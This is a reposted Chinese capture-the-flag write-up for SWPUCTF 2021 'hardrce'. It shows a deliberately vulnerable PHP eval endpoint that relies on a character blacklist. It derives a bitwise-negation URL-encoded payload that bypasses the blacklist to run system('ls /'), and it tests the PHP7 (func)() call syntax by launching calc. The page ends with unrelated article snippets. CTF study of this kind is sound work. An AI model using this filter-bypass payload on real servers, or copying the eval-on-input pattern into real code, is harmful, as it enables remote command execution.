[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce wp

参考博客:https://www.cnblogs.com/bkofyZ/p/17644820.html

代码审计

题目的代码如下:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

其中设置了一个黑名单 $blacklist 过滤了许多字符;

此外 preg_match('/[a-zA-Z]/is',$wllm) 过滤了所有大小写字母。

无字母 RCE

首先推荐一篇博客:老生常谈的无字母数字 Webshell 总结 。

无字母数字绕过,就是把非字母数字的字符经过各种转换,变为数字和字母。

由于黑名单中 ’ $ ’ , ’ ^ ‘,’ ` ’ ,’ " '等等都被过滤掉了,我觉得能用的只有取反了(可能还有其他的我没想到)。

取反绕过

构造一个 system('ls /') 要怎么做呢,先输出其取反后的字符串(要用 URL 编码),再取反。

看了好多博客,都是说对函数名和参数值分别取反再拼接,比如:

<?php
# 先对 system 取反,再编码
echo urlencode(~"system");
# 结果:%8C%86%8C%8B%9A%92# 换行
print("\r\n");# 再对 ls / 取反,再编码
echo urlencode(~"ls /");
# 结果:%93%8C%DF%D0
?>

最后做一个拼接:

(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

那为什么取反之后就不会被过滤了呢,这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。

踩坑

但是令我很疑惑的是,为什么不能直接对整体取反呢,比如像下面那样:

<?php
echo urlencode(~"system('ls /')");
?>

得到的 payload 为:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

我试过了,不行,但我不理解,直到看到了这篇博客:

web安全-PHP-url编码取反绕过正则-思考

我才理解了一点。

大致意思是,eval 函数在执行的时候,只有遇到 (func_name)() 这样形式的参数,才会把它当成函数执行,如果传入:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

这样的,eval 识别不出它是一个函数,因此仅仅执行了取反操作。

另外还有一点我不理解,上面传入的 payload 在取反之后应该是这样子的才对:

eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")

('system')('ls /') 为什么能当成 system('ls /') 来执行呢?

这还要归结于 PHP7 的一个特性,PHP 7 中支持这种调用方法,即用 (func_name)() 这种形式来调用函数。

实践是检验真理的唯一标准,让我们把 PHP 版本调成 7.x.x ,并写好以下代码:

<?php
# 输出 PHP 版本号
echo phpversion();
echo ('system')('calc');
?>

访问此页面:

在这里插入图片描述

可以看到输出版本号为 7.3.4 ,并成功弹出计算器。

将 PHP 版本改为 5.x.x,再次访问:

在这里插入图片描述

报错。

事实上,此特性在 PHP7 中支持,而 PHP5 不支持。

如此看来,这种绕过方式还是有条件的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/298904.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 爬虫之下载视频(五)

爬取第三方网站视频 文章目录 爬取第三方网站视频前言一、基本情况二、基本思路三、代码编写四、注意事项&#xff08;ffmpeg&#xff09;总结 前言 国内主流的视频平台有点难。。。就暂且记录一些三方视频平台的爬取吧。比如下面这个&#xff1a; 一、基本情况 这次爬取的方…

PSoc62™开发板之按键控制LED

实验目的 使用板子上的用户自定义按键控制LED亮灭&#xff0c;当按键按下时LED亮起来&#xff0c;不按下则不亮 电路图 按键电路 板子有两组按键&#xff0c;分别是系统复位按键和用户自定义按键&#xff0c;这里我们选择控制用户自定义按键&#xff0c;可以看到MCU_USER_B…

学习 Web 开发

学习 Web 开发 | MDN (mozilla.org)https://developer.mozilla.org/zh-CN/docs/Learn 从零开始学习 Web 开发极具挑战性&#xff0c;该教程将为你提供详细的资料&#xff0c;手把手帮助你轻松愉快地学习。无论你是正在学习 Web 开发的学生&#xff08;自学或参与课程&…

基于 Webpack 插件体系的 Mock 服务

背景 在软件研发流程中&#xff0c;对于前后端分离的架构体系而言&#xff0c;为了能够更快速、高效的实现功能的开发&#xff0c;研发团队通常来说会在产品原型阶段对前后端联调的数据接口进行结构设计及约定&#xff0c;进而可以分别同步进行对应功能的实现&#xff0c;提升研…

ctf web赛道基础 万字笔记

一、SQL注入&#xff08;mysql&#xff09;&#xff1a; 基本语法 判断列数 order by 3 查询所有数据库&#xff1a; select group_concat(schema_name) from information_schema.schemata 查询当前数据库的所有表&#xff1a; select group_concat(table_name) from informa…

数字人直播系统源码开发:实现电商必备的一键生成真人直播卖货

随着互联网技术的不断演进和电子商务的蓬勃发展&#xff0c;直播电商成为了一种新兴的销售模式。然而&#xff0c;传统的直播方式存在着一些问题&#xff0c;比如主播的时间和精力有限&#xff0c;无法满足大量商品的销售需求。为了解决这个问题&#xff0c;数字人直播系统应运…

【计算机四级(网络工程师)笔记】操作系统运行机制

目录 一、中央处理器&#xff08;CPU&#xff09; 1.1CPU的状态 1.2指令分类 二、寄存器 2.1寄存器分类 2.2程序状态字&#xff08;PSW&#xff09; 三、系统调用 3.1系统调用与一般过程调用的区别 3.2系统调用的分类 四、中断与异常 4.1中断 4.2异常 &#x1f308;嗨&#xff…

华为OD机试 - 学生方阵 - 矩阵(Java 2023 B卷 200分)

目录 专栏导读一、题目描述二、输入描述三、输出描述1、输入2、输出 四、解题思路1、题目解析2、解体思路 五、Java算法源码再重新读一遍题目&#xff0c;看看能否优化一下~ 六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导…

GPU性能实时监测的实用工具

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

DataProcess-VOC数据图像和标签一起进行Resize

VOC数据图像和标签一起进行Resize 参加检测比赛的时候&#xff0c;很多时候工业原始数据尺度都比较大&#xff0c;如果对数据不提前进行处理&#xff0c;会导致数据在加载进内存时花费大量的时间&#xff0c;所以在执行训练程序之前需要将图像提前进行预处理。对于目标检测的数…

《Nature》预测 2024 科技大事:GPT-5预计明年发布等

《Nature》杂志近日盘点了 2024 年值得关注的科学事件&#xff0c;包括 GPT-5 与新一代 AlphaFold、超算 Jupiter、探索月球任务、生产「超级蚊子」、朝向星辰大海、试验下一代新冠疫苗、照亮暗物质、意识之辩第二回合、应对气候变化。 今年以来&#xff0c;以 ChatGPT 为代表…

63. 不同路径 II 23.12.21(二)

一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish”&#xff09;。 现在考虑网格中有障碍物。那么从左上角到右下角…